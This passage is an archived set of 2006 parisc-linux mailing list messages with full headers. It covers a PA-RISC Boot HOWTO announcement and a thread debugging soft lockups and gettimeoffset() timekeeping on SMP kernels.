>> Linux patst006 2.6.8.1 #1 SMP Fri Jun 16 12:59:31 CEST 2006 parisc64 
>> GNU/Linux
>>
>> top - 14:32:29 up 7 days, 56 min,  4 users,  load average: 5.42, 5.49, 
>> 5.70
>> Tasks:  80 total,   4 running,  76 sleeping,   0 stopped,   0 zombie
>> Cpu0  : 71.7% us, 12.4% sy,  0.0% ni,  0.0% id,  0.0% wa,  0.0% hi, 
>> 15.9% si
>> Cpu1  : 93.9% us,  6.1% sy,  0.0% ni,  0.0% id,  0.0% wa,  0.0% hi,  
>> 0.0% si
>> Mem:   4107192k total,  3809232k used,   297960k free,   651624k buffers
>> Swap:   250872k total,    10596k used,   240276k free,   286312k cached
>> Change delay from 1.0 to:
>>   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  P 
>> WCHAN     COMMAND
>> 27806 root      21  -4 15772  12m 5320 R   97  0.3   0:01.66 1 
>> intr_chec cc1
>> 27741 root      21  -4 19168  17m 5320 R   70  0.4   0:13.19 0 
>> intr_chec cc1
>>   984 gkrellmd  16   0  5196 1256 3156 S   17  0.0   1036:51 0 
>> select    gkrellmd
>> 16937 root      17   0  2912 1376 2616 R   11  0.0 320:52.43 0 
>> 63        top
>> 27800 root      15  -4  3452 1024 2440 R    3  0.0   0:01.00 1 
>> 611521008 tar
>>     1 root      16   0  2316  700 2096 S    0  0.0   5:34.89 1 
>> select    init
>>
>> I am well aware that's not perfect test (there are better 'stress') 
>> but at least make me a bit more confident in hw ;-)
>>
>> Cheers,
>>     Joel
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC/Linux Boot HOWTO updated
Date: Wed, 5 Jul 2006 00:58:01 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <7d01f9f00607041558q6e00150di1373214bbb745331@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624119 20043 80.91.229.3 (22 Nov 2014 02:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:59 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2006 22:58:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 05 Jul 2006 00:58:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC2087D6D4;
	Tue,  4 Jul 2006 16:58:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12520-10; Tue, 4 Jul 2006 16:58:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E7F47D6E2;
	Tue,  4 Jul 2006 16:58:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 675FF7D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jul 2006 16:58:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12791-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jul 2006 16:58:04 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.192])
	by free.linux.hp.com (Postfix) with ESMTP id 4F57F7D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jul 2006 16:58:04 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id x3so702217nzd
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 04 Jul 2006 15:58:01 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=BIje/BZI8aO6pkLeuJFlEQz8+3ilwQ1i2XVtTOT7sTobgQDPm63JGr23DrdpLWoC5aG8dIzYv6xpb08NZsmpwmEX4JQjelUmljm1nHyNSSgJ+AAbuQK3nFTN24kRfA2zb4okkExfL4fFsaZLRR++q29GsicwjFhLfu4/QKWwUCw=
Original-Received: by 10.36.106.5 with SMTP id e5mr4082300nzc;
	Tue, 04 Jul 2006 15:58:01 -0700 (PDT)
Original-Received: by 10.36.247.43 with HTTP; Tue, 4 Jul 2006 15:58:01 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 20d21701f11ec813
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: usCYd/VNPTRt7OjGPjIwx+Ixc2tpZAv9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23782

Hi pa-ckers!

This mail to let you know that the updated PA-RISC/Linux Boot HOWTO
has finally been published on TLDP:
http://tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/

Many thanks to those who helped me going through this!

HTH

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc
Date: Wed, 5 Jul 2006 12:47:34 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20060705164734.GB30640@athena.road.mcmartin.ca>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624119 20045 80.91.229.3 (22 Nov 2014 02:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:59 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2006 16:48:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 05 Jul 2006 18:48:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80A277D6FD;
	Wed,  5 Jul 2006 10:47:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20192-03; Wed, 5 Jul 2006 10:47:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFD787D6D9;
	Wed,  5 Jul 2006 10:47:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8692F7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jul 2006 10:47:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19849-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jul 2006 10:47:52 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 6EA807D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jul 2006 10:47:52 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 744285840C6;
	Wed,  5 Jul 2006 12:47:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E9FC25840BB;
	Wed,  5 Jul 2006 12:47:48 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 79FED23E83;
	Wed,  5 Jul 2006 12:47:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03417-07; Wed, 5 Jul 2006 12:47:48 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 409E923E82;
	Wed,  5 Jul 2006 12:47:48 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id D4E2A3B05A; Wed,  5 Jul 2006 12:47:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I5zCK24pMydynYigZWplZl9raGRhZtpC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23783

On Fri, Jun 23, 2006 at 10:41:09PM -0400, John David Anglin wrote:
> This is not to say that the locking code can't be improved.  As far
> as I can tell, hpux doesn't spin.  It has pre-abitration, priorities
> for waiters, etc.  When a lock is released, suwaiters is called to
> pass the lock in a fair way to another waiter if there is one.
> 

HPUX spinlocks /do/ spin, afaict. They just keep track of how long
they've been spinning for (and panic after 60 seconds.) On release of
a spinlock, they also donate it to another cpu, which is, I guess, the
arbitration thing. I can back this up with disassembly, but I wouldn't
be comfortable doing it over mail, due to copyright infringement and
blah blah.

Cheers,
	 Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc
Date: Thu, 06 Jul 2006 18:22:40 +0000
Lines: 78
Approved: news@gmane.org
Message-ID: <44AD54F0.90508@tiscali.be>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
	<20060705164734.GB30640@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624119 20049 80.91.229.3 (22 Nov 2014 02:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:59 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2006 18:24:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 06 Jul 2006 20:24:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41B8B7D768;
	Thu,  6 Jul 2006 12:24:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32745-10; Thu, 6 Jul 2006 12:24:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A47607D764;
	Thu,  6 Jul 2006 12:24:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31BBD7D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jul 2006 12:24:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32745-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jul 2006 12:24:27 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id AC0BA7D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jul 2006 12:24:26 -0600 (MDT)
Original-Received: from (ip-62-235-217-46.dial.scarlet.be [62.235.217.46])
	by weequay.is.scarlet.be  with ESMTP id k66IO5x13658;
	Thu, 6 Jul 2006 20:24:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <20060705164734.GB30640@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X2eUfCwkYW0+truGbmZpoXh0amthc5sA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23784



Kyle McMartin wrote:
> On Fri, Jun 23, 2006 at 10:41:09PM -0400, John David Anglin wrote:
> 
>>This is not to say that the locking code can't be improved.  As far
>>as I can tell, hpux doesn't spin.  It has pre-abitration, priorities
>>for waiters, etc.  When a lock is released, suwaiters is called to
>>pass the lock in a fair way to another waiter if there is one.
>>
> 
> 
> HPUX spinlocks /do/ spin, afaict. They just keep track of how long
> they've been spinning for (and panic after 60 seconds.) On release of
> a spinlock, they also donate it to another cpu, which is, I guess, the
> arbitration thing. I can back this up with disassembly, but I wouldn't
> be comfortable doing it over mail, due to copyright infringement and
> blah blah.
> 
> Cheers,
> 	 Kyle M.

Cool ;-)

That said to followup another related thread <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029481.html>, the 
do_gettimeofday() jejb's patch doesn't help:

after just some hours of my stress test:

top - 17:52:25 up 21:57,  3 users,  load average: 8.16, 7.18, 6.91
Tasks:  84 total,   5 running,  79 sleeping,   0 stopped,   0 zombie
Cpu0  : 53.7% us, 35.3% sy,  0.0% ni,  0.0% id,  0.0% wa,  0.0% hi, 11.0% si
Cpu1  : 86.1% us, 10.2% sy,  0.0% ni,  0.0% id,  0.7% wa,  0.0% hi,  2.9% si
Mem:   4114224k total,  4018628k used,    95596k free,   483816k buffers
Swap:   250872k total,        4k used,   250868k free,   436632k cached


I still encountered the well know BUG: soft lockup detected
BUG: soft lockup detected on CPU#1!
Backtrace:
  [<00000000101122b0>] dump_stack+0x18/0x28
  [<0000000010171c60>] softlockup_tick+0x128/0x158
  [<0000000010151a00>] run_local_timers+0x28/0x38
  [<0000000010152770>] update_process_times+0x58/0xd8
  [<000000001011cc08>] smp_do_timer+0x70/0x80
  [<00000000101134b4>] timer_interrupt+0xdc/0x1e0
  [<0000000010171e04>] handle_IRQ_event+0x74/0xd0
  [<0000000010171f1c>] __do_IRQ+0xbc/0x268
  [<0000000010113e74>] do_cpu_irq_mask+0x114/0x1e0
  [<0000000010104074>] intr_return+0x0/0x1c

BUG: soft lockup detected on CPU#0!
Backtrace:
  [<00000000101122b0>] dump_stack+0x18/0x28
  [<0000000010171c60>] softlockup_tick+0x128/0x158
  [<0000000010151a00>] run_local_timers+0x28/0x38
  [<0000000010152770>] update_process_times+0x58/0xd8
  [<000000001011cc08>] smp_do_timer+0x70/0x80
  [<00000000101134b4>] timer_interrupt+0xdc/0x1e0
  [<0000000010171e04>] handle_IRQ_event+0x74/0xd0
  [<0000000010171f1c>] __do_IRQ+0xbc/0x268
  [<0000000010113e74>] do_cpu_irq_mask+0x114/0x1e0
  [<0000000010104074>] intr_return+0x0/0x1c

(only a small diff with previous failures: here it shows also 'CPU#1!')

Otoh previous test seems to show that older gcc-3.3 would produce a more operational kernel but I haven't any idea where to look for?

All guide line would be welcome.

Thanks,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc
Date: Thu, 6 Jul 2006 14:34:09 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <20060706183409.GB5692@athena.road.mcmartin.ca>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
	<20060705164734.GB30640@athena.road.mcmartin.ca>
	<44AD54F0.90508@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624120 20053 80.91.229.3 (22 Nov 2014 02:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:00 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2006 18:34:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 06 Jul 2006 20:34:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01EBD7D68C;
	Thu,  6 Jul 2006 12:34:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00563-09; Thu, 6 Jul 2006 12:34:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 625AF7D66B;
	Thu,  6 Jul 2006 12:34:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 591317D661
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jul 2006 12:34:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00690-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jul 2006 12:34:38 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 30D587D660
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jul 2006 12:34:38 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 348765840B9;
	Thu,  6 Jul 2006 14:34:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 929765840B7;
	Thu,  6 Jul 2006 14:34:34 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id ED50A23E83;
	Thu,  6 Jul 2006 14:34:33 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23541-10; Thu, 6 Jul 2006 14:34:33 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (firewall.oeone.com [216.191.248.101])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 29F8F23E82;
	Thu,  6 Jul 2006 14:34:33 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 955B23B05A; Thu,  6 Jul 2006 14:34:09 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <44AD54F0.90508@tiscali.be>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +G6VcSVibmw7vq2HZzdLVXZHUzc4chGT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23785

On Thu, Jul 06, 2006 at 06:22:40PM +0000, Joel Soete wrote:
>  [<000000001011cc08>] smp_do_timer+0x70/0x80

You're running an SMP kernel.

time.c:

static inline unsigned long
gettimeoffset (void)
{
#ifndef CONFIG_SMP
	/*
	 * FIXME: This won't work on smp because jiffies are updated by cpu 0.
	 *    Once parisc-linux learns the cr16 difference between processors,
	 *    this could be made to work.
	 */

	long last_tick;
	long elapsed_cycles;

	/* it_value is the intended time of the next tick */
	last_tick = cpu_data[smp_processor_id()].it_value;

	/* Subtract one tick and account for possible difference between
	 * when we expected the tick and when it actually arrived.
	 * (aka wall vs real)
	 */
	last_tick -= clocktick * (jiffies - wall_jiffies + 1);
	elapsed_cycles = mfctl(16) - last_tick;

	/* the precision of this math could be improved */
	return elapsed_cycles / (PAGE0->mem_10msec / 10000);
#else
	return 0;
#endif
}

Now let's look at the comment for James' change:

<quote>
Apparently gettimeoffset can return small negative values (usually in
the 100us range).  If xtime.tv_nsec is accidentally less than this,
though (a fortunately unlikely event) it triggers the loop forever.

I've added a test and correct adjustment for this case.  It has a
warning printk in there which I'd like to leave for the time being
just in case this problem implicates some other part of the kernel.
</quote>

